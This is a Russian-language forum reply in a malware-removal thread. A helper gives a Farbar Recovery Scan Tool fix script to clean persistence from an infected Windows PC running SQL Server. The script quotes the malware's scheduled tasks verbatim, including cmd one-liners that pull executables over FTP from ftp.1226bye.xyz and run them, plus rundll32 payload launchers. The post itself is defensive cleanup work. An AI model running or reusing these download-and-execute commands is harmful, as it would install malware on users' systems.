троян дроппер

[thyrex]

Обновления для системы давно устанавливали?

И этот же вопрос по Microsoft SQL Server (у Вас целых три версии его установлены). Возможно, что через дыры в нем зараза воскресает. А еще в нем есть какой-то свой планировщик задач. Нужно проверить его на предмет подозрительных задач, созданных не Вами.


1. Выделите следующий код:

Start::
CreateRestorePoint:
c:\windows\debug\item.dat
c:\windows\debug\ok.dat
c:\windows\help\lsmosee.exe
HKLM-x32\...\Run: [start] => C:\Windows\SysWOW64\scrobj.dll [173568 2009-07-14] (Microsoft Corporation)
HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{299bf82d-57d1-47fe-92fd-ffe239a5ace9} <==== ATTENTION (Restriction - IP)
CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki] - hxxps://clients2.google.com/service/update2/crx
2018-12-31 12:28 - 2018-12-31 12:28 - 000277286 _____ C:\Windows\system32\a.txt
2018-12-31 12:28 - 2018-12-31 12:28 - 000008662 _____ C:\Windows\system32\c.txt
2018-12-31 12:26 - 2018-12-31 12:26 - 000037888 _____ (Orgs) C:\Windows\system32\u.exe
2018-12-31 12:25 - 2018-12-31 12:26 - 000782848 _____ (TODO: <公司名>) C:\Windows\system32\csrse.exe
2018-12-31 12:25 - 2018-12-31 12:25 - 000662528 _____ (Zhuhai Kingsoft Office Software Co.,Ltd) C:\Windows\system32\max.exe
2018-12-31 09:14 - 2018-12-31 09:14 - 000662528 _____ (Zhuhai Kingsoft Office Software Co.,Ltd) C:\Windows\update.exe
2018-12-30 15:27 - 2018-12-31 12:23 - 000000336 _____ C:\Windows\pools.txt
2018-12-30 15:27 - 2018-12-31 12:23 - 000000084 _____ C:\Program Files\Common Files\xp.dat
2018-12-30 15:27 - 2018-12-31 12:15 - 000003504 _____ C:\Windows\System32\Tasks\Mysa3
2018-12-30 15:27 - 2018-12-31 12:15 - 000003186 _____ C:\Windows\System32\Tasks\ok
2018-12-30 15:27 - 2018-12-31 12:14 - 000003518 _____ C:\Windows\System32\Tasks\Mysa
2018-12-30 15:27 - 2018-12-31 12:14 - 000003424 _____ C:\Windows\System32\Tasks\Mysa2
2018-12-30 15:27 - 2018-12-31 12:14 - 000003190 _____ C:\Windows\System32\Tasks\Mysa1
2018-12-30 15:27 - 2018-12-31 11:24 - 000027136 _____ (Microsoft Corporation) C:\Windows\system\down.exe
2018-12-30 15:27 - 2018-12-30 15:27 - 000002497 _____ C:\Windows\cpu.txt
2018-12-30 15:26 - 2018-12-31 11:14 - 000000084 _____ C:\Program Files\Common Files\xpdown.dat
2018-12-31 09:13 - 2017-07-28 07:12 - 000000078 _____ C:\Windows\system32\ps
2018-12-31 09:13 - 2017-05-24 10:20 - 000000076 _____ C:\Windows\system32\p
2018-12-31 09:13 - 2017-05-12 09:51 - 000000080 _____ C:\Windows\system32\s
Task: {1B53CEFF-7D3D-46AC-B773-1F15A959C031} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {2116867B-0A72-4D0D-93C2-CD65C479BFFD} - System32\Tasks\Mysa => cmd /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
Task: {65E8A746-CE5B-4A92-9E21-4BE5F795684E} - System32\Tasks\Mysa2 => cmd /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {67B67100-40B9-448E-8053-F39F425C83EF} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Task: {C13D77C8-9E63-4A54-8D60-D6F716ADE827} - System32\Tasks\Mysa3 => cmd /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name=\"fuckyoumm4\"",Filter="__EventFilter.Name=\"fuckyoumm3\": <==== ATTENTION
WMI:subscription\__EventFilter->fuckyoumm3: <==== ATTENTION
WMI:subscription\CommandLineEventConsumer->fuckyoumm4: <==== ATTENTION
Folder: c:\windows\debug
Reboot:
End::

2. Скопируйте выделенный текст (правая кнопка мыши – Копировать).
3. Запустите Farbar Recovery Scan Tool.
4. Нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

• Обратите внимание: будет выполнена перезагрузка компьютера.